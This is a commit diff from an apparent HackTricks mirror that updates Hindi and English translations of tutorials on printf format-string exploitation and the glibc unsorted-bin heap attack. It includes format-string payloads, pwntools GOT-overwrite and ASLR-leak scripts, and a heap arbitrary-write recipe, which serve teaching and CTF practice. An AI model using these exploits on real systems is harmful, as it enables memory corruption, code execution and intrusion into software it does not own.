maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/windows-hardening/windows-local-privilege-escalatio

Browse Source
This commit is contained in:
Translator 2025-08-29 12:45:36 +00:00
parent 961d403871
commit e5ab9776d3
25 changed files with 2184 additions and 2204 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

97
src/binary-exploitation/format-strings/README.md
View File

@ -5,13 +5,13 @@
## बुनियादी जानकारी
C में **`printf`** एक function है जो किसी string को **प्रिंट** करने के लिए उपयोग होता है। इस function का **पहला पैरामीटर** वह **raw text होता है जिसमें formatters होते हैं**। इसके **बाद के पैरामीटर्स** वे **values** होते हैं जो raw text में मौजूद formatters को **substitute** करने के लिए दिए जाते हैं।
C में **`printf`** एक फ़ंक्शन है जिसका उपयोग किसी string को **प्रिंट** करने के लिए किया जाता है। इस फ़ंक्शन से अपेक्षित **पहला पैरामीटर** वह **कच्चा टेक्स्ट है जिसमें formatters मौजूद होते हैं**। अपेक्षित **अगले पैरामीटर** वे **मान** होते हैं जिन्हें कच्चे टेक्स्ट के **formatters** में **प्रतिस्थापित** किया जाता है।
अन्य vulnerable functions हैं **`sprintf()`** और **`fprintf()`**।
अन्य कमजोर फ़ंक्शन हैं **`sprintf()`** और **`fprintf()`**।
यह vulnerability तब उत्पन्न होती है जब इस function के पहले argument के रूप में किसी attacker का text उपयोग किया जाता है। attacker एक विशेष input तैयार कर सकता है जो **printf format** string क्षमताओं का दुरुपयोग कर के किसी भी address से डेटा पढ़ने और किसी भी address में डेटा लिखने (पढ़ने/लिखने योग्य) की अनुमति देता है। इस तरह मनमाना कोड निष्पादित करना संभव हो जाता है।
यह कमजोरि तब प्रकट होती है जब इस फ़ंक्शन को पहला आर्ग्युमेंट के रूप में **हमलावर का टेक्स्ट** दिया जाता है। हमलावर printf format स्ट्रिंग क्षमताओं का दुरुपयोग करते हुए एक **विशेष इनपुट तैयार** कर सकेगा जिससे वह किसी भी एड्रेस से डेटा पढ़ने और किसी भी एड्रेस पर डेटा **लिखने** में सक्षम होगा (readable/writable)। इस तरह वह **arbitrary code को execute** करने में सक्षम हो सकता है।
#### फॉर्मैटर्स:
#### Formatters:
```bash
%08x —> 8 hex bytes
%d —> Entire
@ -24,7 +24,7 @@ C में **`printf`** एक function है जो किसी string क
```
**उदाहरण:**
- असुरक्षित उदाहरण:
- कमजोर उदाहरण:
```c
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
@ -35,11 +35,11 @@ printf(buffer); // If buffer contains "%x", it reads from the stack.
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
```
- आर्ग्यूमेंट्स गायब होने पर:
- तर्कों की कमी के साथ:
```c
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
```
- fprintf कमजोर:
- fprintf असुरक्षित:
```c
#include <stdio.h>
@ -52,28 +52,28 @@ fclose(output_file);
return 0;
}
```
### **Pointers तक पहुँच**
### **पॉइंटर्स तक पहुँच**
फॉर्मेट **`%<n>$x`**, जहाँ `n` एक संख्या है, printf को बताता है कि वह stack से nवां parameter चुने। इसलिए अगर आप printf का उपयोग करके stack का चौथा param पढ़ना चाहते हैं तो आप कर सकते हैं:
फॉर्मैट **`%<n>$x`**, जहाँ `n` एक संख्या है, printf को यह संकेत देता है कि वह stack से n वाँ parameter चुने। तो यदि आप printf का उपयोग करके stack से 4th param पढ़ना चाहते हैं तो आप कर सकते हैं:
```c
printf("%x %x %x %x")
```
और आप पहले से चौथे param तक पढ़ेंगे।
या आप ऐसा कर सकते हैं:
या आप यह कर सकते हैं:
```c
printf("%4$x")
```
और सीधे चौथे को पढ़ें।
ध्यान दें कि attacker `printf` **parameter, जिसका मूलतः मतलब यह है कि** उसका input `printf` के कॉल होने पर stack में होगा, और इसका मतलब है कि वह stack में specific memory addresses लिख सकता है।
Notice that the attacker controls the `printf` **parameter, which basically means that** his input is going to be in the stack when `printf` is called, which means that he could write specific memory addresses in the stack.
> [!CAUTION]
> इस input को नियंत्रित करने वाला attacker stack में **arbitrary address जोड़ पाएगा और `printf` को उन्हें access करवाएगा**। अगले अनुभाग में बताया जाएगा कि इस व्यवहार का उपयोग कैसे करना है।
> यदि कोई attacker इस इनपुट को नियंत्रित करता है, तो वह **stack में arbitrary address जोड़ सकेगा और `printf` को उन्हें access करवा सकेगा**। अगले सेक्शन में इस व्यवहार का उपयोग कैसे किया जाए बताया जाएगा।
## **Arbitrary Read**
यह formatter **`%n$s`** का उपयोग करके संभव है ताकि **`printf`** उस **address** को प्राप्त करे जो **n position** में स्थित है, उसे follow करे और **उसे ऐसे प्रिंट करे जैसे वह एक string हो** (0x00 मिलने तक प्रिंट करेगा). इसलिए यदि binary का base address **`0x8048000`** है, और हमें पता है कि user input stack में 4th position से शुरू होता है, तो binary के शुरुआत को प्रिंट करना संभव है:
It's possible to use the formatter **`%n$s`** to make **`printf`** get the **address** situated in the **n position**, following it and **print it as if it was a string** (print until a 0x00 is found). So if the base address of the binary is **`0x8048000`**, and we know that the user input starts in the 4th position in the stack, it's possible to print the starting of the binary with:
```python
from pwn import *
@ -87,11 +87,11 @@ p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
```
> [!CAUTION]
> ध्यान दें कि आप address 0x8048000 को input की शुरुआत में नहीं रख सकते क्योंकि string उस address के अंत में 0x00 में cat हो जाएगी।
> ध्यान दें कि आप address 0x8048000 को इनपुट की शुरुआत में नहीं रख सकते क्योंकि उस address के अंत में स्ट्रिंग 0x00 पर cat हो जाएगी.
### ऑफसेट खोजें
### ऑफ़सेट ढूँढें
अपने offset को खोजने के लिए आप 4 या 8 bytes (`0x41414141`) भेज सकते हैं, उसके बाद **`%1$x`** और मान बढ़ाते रहें जब तक कि `A's` न मिलें।
अपने इनपुट तक का ऑफ़सेट जानने के लिए आप 4 या 8 बाइट भेज सकते हैं (`0x41414141`) इसके बाद **`%1$x`** लगाएँ और **बढ़ाएँ** मान तब तक जब तक `A's` प्राप्त न हों।
<details>
@ -126,45 +126,45 @@ p.close()
```
</details>
### यह कितना उपयोगी है
### कितनी उपयोगी
Arbitrary reads निम्नलिखित के लिए उपयोगी हो सकते हैं:
- मेमोरी से **binary** **Dump** करना
- मेमोरी के उन विशिष्ट हिस्सों तक पहुँच जहाँ संवेदनशील **info** संग्रहीत होता है (जैसे canaries, encryption keys या custom passwords जैसे इस [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
- **Dump** the **binary** from memory
- **Access specific parts of memory where sensitive** **info** is stored (like canaries, encryption keys or custom passwords like in this [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
## **Arbitrary Write**
फ़ॉर्मैटर **`%<num>$n`** **लिखता है** स्टैक में <num> पैरामीटर द्वारा संकेत किए गए **निर्दिष्ट पते** में लिखी गई **बाइट्स की संख्या**। यदि कोई attacker printf के साथ जितने भी char वह चाहे लिख सकता है, तो वह **`%<num>$n`** से किसी भी पते में मनमाना मान लिखवा सकेगा।
The formatter **`%<num>$n`** **लिखता है** stack के <num> param में संकेतित उस **address** में लिखे गए **bytes** की संख्या। अगर कोई attacker printf के साथ जितने भी char चाहे लिख सकता है, तो वह **`%<num>$n`** को किसी भी arbitrary number को किसी भी arbitrary address में लिखने के लिये इस्तेमाल कर सकेगा।
सौभाग्य से, संख्या 9999 लिखने के लिए इनपुट में 9999 "A" जोड़ने की आवश्यकता नहीं है; इसके लिए फ़ॉर्मैटर **`%.<num-write>%<num>$n`** का उपयोग किया जा सकता है ताकि वह संख्या **`<num-write>`** को उस **पते में लिखे जिसे `num` स्थिति सूचित करती है**।
सौभाग्य से, संख्या 9999 लिखने के लिए इनपुट में 9999 "A"s जोड़ने की आवश्यकता नहीं है; इसके बजाय formatter **`%.<num-write>%<num>$n`** का उपयोग करके आप संख्या **`<num-write>`** को उस **address pointed by the `num` position`** में लिख सकते हैं।
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
हालाँकि, ध्यान दें कि आम तौर पर किसी पते जैसे `0x08049724` (जो एक साथ लिखने के लिए एक बहुत बड़ा नंबर है) को लिखने के लिए **`$hn`** का उपयोग किया जाता है, `$n` के बजाय। इससे केवल 2 Bytes ही लिखने की अनुमति मिलती है। इसलिए यह ऑपरेशन दो बार किया जाता है, एक बार पते के उच्चतम 2B के लिए और दूसरी बार निचले 2B के लिए।
हालाँकि, ध्यान दें कि आम तौर पर किसी पते को जैसे `0x08049724` (जो एक बार में लिखने के लिए बहुत बड़ा नंबर है) लिखने के लिए **`$hn` का उपयोग किया जाता है** बजाय `$n` के। यह केवल **2 Bytes ही लिखने** की अनुमति देता है। इसलिए यह ऑपरेशन दो बार किया जाता है, एक बार पते के उच्चतम 2B के लिए और दूसरी बार निम्नतम के लिए।
इसलिए, यह vulnerability किसी भी address में किसी भी चीज़ को लिखने की अनुमति देती है (arbitrary write).
इसलिए, यह vulnerability किसी भी पते पर कुछ भी लिखने की अनुमति देती है (arbitrary write).
इस उदाहरण में लक्ष्य **GOT** टेबल में एक **function** के **address** को **overwrite** करना है, जो बाद में कॉल किया जाएगा। हालाँकि, यह अन्य arbitrary write-to-exec तकनीकों का भी दुरुपयोग कर सकता है:
In this example, the goal is going to be to **overwrite** the **address** of a **function** in the **GOT** table that is going to be called later. Although this could abuse other arbitrary write to exec techniques:
{{#ref}}
../arbitrary-write-2-exec/
{{#endref}}
हम एक ऐसी **function** को **overwrite** करने जा रहे हैं जो अपने **arguments** उपयोगकर्ता से प्राप्त करती है और उसे **`system`** **function** की ओर **point** कर देंगे।\
जैसा कि बताया गया, पता लिखने के लिए आम तौर पर 2 चरणों की आवश्यकता होती है: आप पहले पते के 2Bytes लिखते हैं और फिर बाकी के 2। इसके लिए **`$hn`** का उपयोग किया जाता है।
हम एक ऐसी **function** को **overwrite** करने जा रहे हैं जो अपने **arguments** **user** से **receives** करती है और उसे **`system`** **function** की ओर **point** कर देंगे।\
जैसा कि बताया गया है, address लिखने के लिए आम तौर पर 2 कदम आवश्यक होते हैं: आप पहले address के **2Bytes** लिखते हैं और फिर बाकी के 2। इसके लिए **`$hn`** का उपयोग किया जाता है।
- **HOB** को पते के उच्च 2 bytes कहा जाता है
- **LOB** को पते के निम्न 2 bytes कहा जाता है
- **HOB** को address के उच्च 2 Bytes कहा जाता है
- **LOB** को address के निम्न 2 Bytes कहा जाता है
फिर, format string के काम करने के तरीके के कारण आपको \[HOB, LOB] में से सबसे छोटा पहले **लिखना** होगा और फिर दूसरा।
फिर, format string के काम करने के तरीके के कारण आपको [HOB, LOB] में से **सबसे छोटा पहले लिखना** होगा और फिर दूसरे को।
If HOB < LOB\
यदि HOB < LOB\
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
If HOB > LOB\
यदि HOB > LOB\
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
@ -173,14 +173,14 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "
```
### Pwntools टेम्पलेट
आप इस तरह की vulnerability के लिए exploit तैयार करने हेतु एक **टेम्पलेट** पा सकते हैं:
आप इस प्रकार की vulnerability के लिए exploit तैयार करने का एक **टेम्पलेट** यहाँ पा सकते हैं:
{{#ref}}
format-strings-template.md
{{#endref}}
या इस बुनियादी उदाहरण को [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
या यह बुनियादी उदाहरण [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
```python
from pwn import *
@ -201,24 +201,24 @@ p.interactive()
```
## Format Strings to BOF
यह संभव है कि किसी format string vulnerability की write क्रियाओं का दुरुपयोग कर के **स्टैक के एड्रेस में लिखना** और किसी **buffer overflow** प्रकार की vulnerability का exploit करना।
यह संभव है कि किसी format string vulnerability की write actions का दुरुपयोग करके **write in addresses of the stack** किया जाए और एक **buffer overflow** प्रकार की vulnerability का exploit किया जाए।
## Windows x64: Format-string leak to bypass ASLR (no varargs)
On Windows x64 पहले चार integer/pointer पैरामीटर RCX, RDX, R8, R9 रजिस्टरों में पास होते हैं। कई buggy call-sites में attacker-controlled string को format argument के रूप में उपयोग किया जाता है, पर कोई variadic arguments प्रदान नहीं किए जाते, उदाहरण के लिए:
Windows x64 पर पहले चार integer/pointer पैरामीटर registers में पास किए जाते हैं: RCX, RDX, R8, R9। कई buggy call-sites में attacker-controlled string को format argument के रूप में उपयोग किया जाता है लेकिन कोई variadic arguments प्रदान नहीं किए जाते, उदाहरण के लिए:
```c
// keyData is fully controlled by the client
// _snprintf(dst, len, fmt, ...)
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);
```
क्योंकि कोई varargs पास नहीं किए जाते, "%p", "%x", "%s" जैसे किसी भी conversion से CRT अगले variadic argument को उपयुक्त रजिस्टर से पढ़ेगा। Microsoft x64 calling convention के साथ "%p" के लिए ऐसी पहली read R9 से आती है। कॉल-साइट पर R9 में जो भी transient value होगी वह प्रिंट हो जाएगी। व्यवहार में यह अक्सर एक स्थिर in-module pointer leaks कर देता है (e.g., एक pointer जो आसपास के कोड द्वारा पहले R9 में रखा गया local/global object या कोई callee-saved value), जिसे module base को recover करने और ASLR को मात देने के लिए उपयोग किया जा सकता है।
चूँकि कोई varargs पास नहीं किए जाते हैं, कोई भी conversion जैसे "%p", "%x", "%s" CRT को उपयुक्त register से अगला variadic argument पढ़ने के लिए मजबूर करेगा। Microsoft x64 calling convention में "%p" के लिए ऐसा पहला read R9 से आता है। कॉल-साइट पर R9 में जो भी अस्थायी मान होगा वह प्रिंट होगा। व्यवहार में यह अक्सर एक स्थिर in-module pointer को leak कर देता है (उदाहरण के लिए, एक pointer to a local/global object जो पहले surrounding code द्वारा R9 में रखा गया था या एक callee-saved value), जिसे module base को recover करने और ASLR को मात देने के लिए उपयोग किया जा सकता है।
Practical workflow:
- हमलावर-नियंत्रित स्ट्रिंग की बिल्कुल शुरुआत में '%p ' जैसा हानिरहित format inject करें ताकि पहला conversion किसी भी filtering से पहले execute हो जाए।
- leaked pointer को capture करें, module के अंदर उस object का static offset पहचानें (symbols या स्थानीय कॉपी के साथ एक बार reverse करके), और image base को `leak - known_offset` के रूप में recover करें।
- उस base का पुन: उपयोग करके ROP gadgets और IAT entries के absolute addresses रिमोटली compute करें।
- सबसे शुरुआत में attacker-controlled string में "%p " जैसा harmless format inject करें ताकि पहला conversion किसी भी filtering से पहले execute हो जाए।
- leaked pointer को capture करें, उस object का static offset module के अंदर पहचानें (symbols के साथ या एक local copy का उपयोग करके एक बार reversing करके), और image base को `leak - known_offset` के रूप में recover करें।
- उस base को reuse करके ROP gadgets और IAT entries के absolute addresses remotely compute करें।
Example (abbreviated python):
```python
@ -232,12 +232,12 @@ leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660
base = leaked - 0x20660 # module base = leak - offset
print(hex(leaked), hex(base))
```
नोट:
- घटाने के लिए सटीक offset स्थानीय reversing के दौरान एक बार पाया जाता है और फिर पुन: उपयोग किया जाता है (same binary/version).
- अगर "%p" पहली कोशिश में एक वैध pointer प्रिंट नहीं करता है, तो अन्य specifiers ("%llx", "%s") या multiple conversions ("%p %p %p") आज़माएँ ताकि अन्य argument registers/stack को sample किया जा सके।
- यह pattern Windows x64 calling convention और printf-family implementations के लिए specific है, जो जब format string उन्हें मांगती है तो मौजूद नहीं varargs को registers से fetch करती हैं।
Notes:
- The exact offset to subtract is found once during local reversing and then reused (same binary/version).
- If "%p" doesn’t print a valid pointer on the first try, try other specifiers ("%llx", "%s") or multiple conversions ("%p %p %p") to sample other argument registers/stack.
- This pattern is specific to the Windows x64 calling convention and printf-family implementations that fetch nonexistent varargs from registers when the format string requests them.
यह technique ROP को bootstrap करने के लिए बेहद उपयोगी है, खासकर Windows services पर जो ASLR के साथ compile किए गए हों और जिनमें कोई स्पष्ट memory disclosure primitives न हों।
This technique is extremely useful to bootstrap ROP on Windows services compiled with ASLR and no obvious memory disclosure primitives.
## अन्य उदाहरण और संदर्भ
@ -245,13 +245,14 @@ print(hex(leaked), hex(base))
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
- 32 bit, no relro, no canary, nx, no pie, format strings का basic उपयोग stack से flag को leak करने के लिए (execution flow को बदलने की आवश्यकता नहीं)
- 32 bit, no relro, no canary, nx, no pie, basic use of format strings to leak the flag from the stack (no need to alter the execution flow)
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32 bit, relro, no canary, nx, no pie, format string का उपयोग `fflush` के address को overwrite करने के लिए ताकि win function को point किया जा सके (ret2win)
- 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win)
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
- 32 bit, relro, no canary, nx, no pie, format string का प्रयोग main के अंदर `.fini_array` में एक address लिखने के लिए (इससे flow एक बार और loop करेगा) और GOT table में `strlen` को point करने वाली entry में `system` का address लिखना। जब flow वापस main में जाएगा, `strlen` user input के साथ execute होगा और क्योंकि वह अब `system` को point कर रहा होगा, यह पास किए गए commands को execute कर देगा।
- 32 bit, relro, no canary, nx, no pie, format string to write an address inside main in `.fini_array` (so the flow loops back 1 more time) and write the address to `system` in the GOT table pointing to `strlen`. When the flow goes back to main, `strlen` is executed with user input and pointing to `system`, it will execute the passed commands.
## संदर्भ
## References
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
- [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention)

120
src/binary-exploitation/libc-heap/unsorted-bin-attack.md
View File

@ -4,68 +4,68 @@
## बुनियादी जानकारी
Unsorted bin क्या है इसके बारे में अधिक जानकारी के लिए इस पृष्ठ को देखें:
For more information about what is an unsorted bin check this page:
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
Unsorted lists `unsorted_chunks (av)` के पते को chunk के `bk` एड्रेस में लिखने में सक्षम होती हैं। इसलिए, यदि एक attacker किसी chunk के अंदर unsorted bin में `bk` pointer का address बदल सके, तो वह उस address को arbitrary address में लिखने में सक्षम हो सकता है जो Glibc addresses को leak करने या कुछ defenses को bypass करने में मददगार हो सकता है।
Unsorted lists are able to write the address to `unsorted_chunks (av)` in the `bk` address of the chunk. Therefore, if an attacker can **modify the address of the `bk` pointer** in a chunk inside the unsorted bin, he could be able to **write that address in an arbitrary address** which could be helpful to leak a Glibc addresses or bypass some defense.
संक्षेप में, यह attack arbitrary address पर एक बड़ा नंबर सेट करने की अनुमति देता है। यह बड़ा नंबर एक address होता है, जो heap address या Glibc address हो सकता है। पारंपरिक लक्ष्य अक्सर **`global_max_fast`** था ताकि fast bin बड़ाई जा सके (और unsorted bin attack से fast bin attack में परिवर्तित किया जा सके)।
So, basically, this attack allows to **set a big number at an arbitrary address**. This big number is an address, which could be a heap address or a Glibc address. A traditional target was **`global_max_fast`** to allow to create fast bin bins with bigger sizes (and pass from an unsorted bin attack to a fast bin attack).
- Modern note (glibc ≥ 2.39): `global_max_fast` अब एक 8‑bit global बन गया है। unsorted‑bin write के जरिए वहाँ pointer लिखने से आसपास के libc डेटा corrupt होंगे और fastbin limit को विश्वसनीय रूप से बढ़ाना अब संभव नहीं रहेगा। चल रहे संस्करणों पर अन्य targets या primitives चुनें। नीचे "Modern constraints" देखें और एक stable primitive मिलने पर इसे [large bin attack](large-bin-attack.md) या [fast bin attack](fast-bin-attack.md) जैसी अन्य techniques के साथ combine करने पर विचार करें।
- Modern note (glibc ≥ 2.39): `global_max_fast` became an 8‑bit global. Blindly writing a pointer there via an unsorted-bin write will clobber adjacent libc data and will not reliably raise the fastbin limit anymore. Prefer other targets or other primitives when running against glibc 2.39+. See "Modern constraints" below and consider combining with other techniques like a [large bin attack](large-bin-attack.md) or a [fast bin attack](fast-bin-attack.md) once you have a stable primitive.
> [!TIP]
> T> https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle पर दिए उदाहरण को देखकर और chunk sizes के लिए 0x400 और 0x500 की जगह 0x4000 और 0x5000 इस्तेमाल करने (ताकि Tcache से बचा जा सके) पर आप देखेंगे कि **आधुनिक समय में** error **`malloc(): unsorted double linked list corrupted`** trigger होती है।
> T> aking a look to the example provided in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) and using 0x4000 and 0x5000 instead of 0x400 and 0x500 as chunk sizes (to avoid Tcache) it's possible to see that **nowadays** the error **`malloc(): unsorted double linked list corrupted`** is triggered.
>
> इसलिए, यह unsorted bin attack अब (अन्य checks के साथ) दो-तरफ़ा linked list को ठीक करने की आवश्यकता भी रखता है ताकि यह bypass किया जा सके — यानी `victim->bk->fd == victim` या `victim->fd == av (arena)` verify हो। इसका मतलब है कि जिस address में आप लिखना चाहते हैं उसके `fd` position में fake chunk का address होना चाहिए और fake chunk का `fd` arena की तरफ इशारा करना चाहिए।
> Therefore, this unsorted bin attack now (among other checks) also requires to be able to fix the doubled linked list so this is bypassed `victim->bk->fd == victim` or not `victim->fd == av (arena)`, which means that the address where we want to write must have the address of the fake chunk in its `fd` position and that the fake chunk `fd` is pointing to the arena.
> [!CAUTION]
> ध्यान दें कि यह attack unsorted bin (और इसी के कारण small और large भी) को corrupt करता है। इसलिए अब हम केवल fast bin से allocations का उपयोग कर सकते हैं (एक जटिल प्रोग्राम अन्य allocations करेगा और crash कर सकता है), और इसे ट्रिगर करने के लिए हमें वही size allocate करनी होगी वरना प्रोग्राम crash करेगा।
> Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **allocate the same size or the program will crash.**
>
> यह भी ध्यान दें कि **`global_max_fast`** को overwrite करना इस केस में मदद कर सकता है, यह मानते हुए कि fast bin exploit पूरा होने तक बाकी allocations को संभाल लेगा।
> Note that overwriting **`global_max_fast`** might help in this case trusting that the fast bin will be able to take care of all the other allocations until the exploit is completed.
यहां [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) का कोड इसे बहुत अच्छे से समझाता है, हालांकि अगर आप mallocs को इतना बड़ा बदल दें कि वे Tcache में न पड़ें तो आप ऊपर बताए error को देखेंगे: **`malloc(): unsorted double linked list corrupted`**
The code from [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) explains it very well, although if you modify the mallocs to allocate memory big enough so don't end in a Tcache you can see that the previously mentioned error appears preventing this technique: **`malloc(): unsorted double linked list corrupted`**
### लिखाई असल में कैसे होती है
### How the write actually happens
- Unsorted‑bin write `free` पर trigger होती है जब freed chunk unsorted list के head में insert किया जाता है।
- insertion के दौरान allocator यह करता है: `bck = unsorted_chunks(av); fwd = bck->fd; victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;`
- अगर आप `free(victim)` कॉल करने से पहले `victim->bk` को `(mchunkptr)(TARGET - 0x10)` सेट कर सकें, तो अंतिम statement यह write करेगा: `*(TARGET) = victim`।
- बाद में, जब allocator unsorted bin को process करता है, तो integrity checks यह verify करेंगे (अन्य चीजों के साथ) कि `bck->fd == victim` और `victim->fd == unsorted_chunks(av)` unlink करने से पहले। क्योंकि insertion पहले ही `bck->fd` (हमारा `TARGET`) में `victim` लिख चुका होता है, ये checks तब सफल हो सकते हैं अगर write सफल रही।
- The unsorted-bin write is triggered on `free` when the freed chunk is inserted at the head of the unsorted list.
- During insertion, the allocator performs `bck = unsorted_chunks(av); fwd = bck->fd; victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;`
- If you can set `victim->bk` to `(mchunkptr)(TARGET - 0x10)` before calling `free(victim)`, the final statement will perform the write: `*(TARGET) = victim`.
- Later, when the allocator processes the unsorted bin, integrity checks will verify (among other things) that `bck->fd == victim` and `victim->fd == unsorted_chunks(av)` before unlinking. Because the insertion already wrote `victim` into `bck->fd` (our `TARGET`), these checks can be satisfied if the write succeeded.
## आधुनिक बाधाएँ (glibc ≥ 2.33)
## आधुनिक सीमाएँ (glibc ≥ 2.33)
वर्तमान glibc पर unsorted‑bin writes को भरोसेमंद रूप से उपयोग करने के लिए:
To use unsorted‑bin writes reliably on current glibc:
- Tcache हस्तक्षेप: उन sizes के लिए जो tcache में आते हैं, frees वहाँ divert हो जाते हैं और unsorted bin को नहीं छूते। या तो
- requests को > MAX_TCACHE_SIZE (64‑bit पर डिफ़ॉल्ट ≥ 0x410) बनाएं, या
- संबंधित tcache bin (7 entries) भर दें ताकि अतिरिक्त frees global bins तक पहुँचें, या
- अगर environment controllable है तो tcache disable करें (जैसे GLIBC_TUNABLES glibc.malloc.tcache_count=0).
- unsorted list पर integrity checks: अगली allocation path जो unsorted bin की जाँच करती है, glibc check करता है (सरल रूप में):
- `bck->fd == victim` और `victim->fd == unsorted_chunks(av)`; अन्यथा यह `malloc(): unsorted double linked list corrupted` के साथ abort कर देता है।
- इस बात का अर्थ है कि आपका target address दो writes सहन कर सके: पहले free‑time पर `*(TARGET) = victim`; बाद में जब chunk remove होगा तब allocator `*(TARGET) = unsorted_chunks(av)` करेगा (allocator `bck->fd` को फिर से bin head पर rewrite करता है)। ऐसे targets चुनें जहाँ केवल एक बड़ा non‑zero value थोपना उपयोगी हो।
- आधुनिक exploits में सामान्य और स्थिर targets
- Application या global state जो "large" values को flags/limits की तरह treat करता है।
- परोक्ष primitives (उदाहरण के लिए, बाद के लिए सेटअप करना जैसे [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) या किसी बाद वाले write‑what‑where को pivot करना)।
- नए glibc पर `__malloc_hook`/`__free_hook` से बचें: ये 2.34 में हटाए जा चुके हैं। ≥ 2.39 पर `global_max_fast` से बचें (ऊपर नोट देखें)।
- हाल के glibc पर `global_max_fast` के बारे में
- glibc 2.39+ पर `global_max_fast` एक 8‑bit global है। इसमें heap pointer लिखने की क्लासिक trick अब साफ़ रूप से काम नहीं करती और आस-पास के allocator state को corrupt करने की संभावना रहती है। अन्य रणनीतियाँ अपनाएँ।
- Tcache interference: for sizes that fall into tcache, frees are diverted there and won’t touch the unsorted bin. Either
- make requests with sizes > MAX_TCACHE_SIZE (≥ 0x410 on 64‑bit by default), or
- fill the corresponding tcache bin (7 entries) so that additional frees reach the global bins, or
- if the environment is controllable, disable tcache (e.g., GLIBC_TUNABLES glibc.malloc.tcache_count=0).
- Integrity checks on the unsorted list: on the next allocation path that examines the unsorted bin, glibc checks (simplified):
- `bck->fd == victim` and `victim->fd == unsorted_chunks(av)`; otherwise it aborts with `malloc(): unsorted double linked list corrupted`.
- This means the address you target must tolerate two writes: first `*(TARGET) = victim` at free‑time; later, as the chunk is removed, `*(TARGET) = unsorted_chunks(av)` (the allocator rewrites `bck->fd` back to the bin head). Choose targets where simply forcing a large non‑zero value is useful.
- Typical stable targets in modern exploits
- Application or global state that treats "large" values as flags/limits.
- Indirect primitives (e.g., set up for a subsequent [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) or to pivot a later write‐what‐where).
- Avoid `__malloc_hook`/`__free_hook` on new glibc: they were removed in 2.34. Avoid `global_max_fast` on ≥ 2.39 (see next note).
- About `global_max_fast` on recent glibc
- On glibc 2.39+, `global_max_fast` is an 8‑bit global. The classic trick of writing a heap pointer into it (to enlarge fastbins) no longer works cleanly and is likely to corrupt adjacent allocator state. Prefer other strategies.
## Minimal exploitation recipe (modern glibc)
Goal: unsorted‑bin insertion primitive का उपयोग करके एक heap pointer को arbitrary address पर एक single arbitrary write हासिल करना, बिना crash किए।
Goal: achieve a single arbitrary write of a heap pointer to an arbitrary address using the unsorted‑bin insertion primitive, without crashing.
- Layout/grooming
- A, B, C allocate करें जिनके sizes tcache को बायपास करने के लिए बड़े हों (उदाहरण के लिए 0x5000)। C top chunk के साथ consolidation को रोकेगा।
- Allocate A, B, C with sizes large enough to bypass tcache (e.g., 0x5000). C prevents consolidation with the top chunk.
- Corruption
- A से B के chunk header में overflow करके `B->bk = (mchunkptr)(TARGET - 0x10)` सेट करें।
- Overflow from A into B’s chunk header to set `B->bk = (mchunkptr)(TARGET - 0x10)`.
- Trigger
- `free(B)`। insertion के समय allocator `bck->fd = B` execute करता है, इसलिए `*(TARGET) = B` होगा।
- `free(B)`. At insertion time the allocator executes `bck->fd = B`, therefore `*(TARGET) = B`.
- Continuation
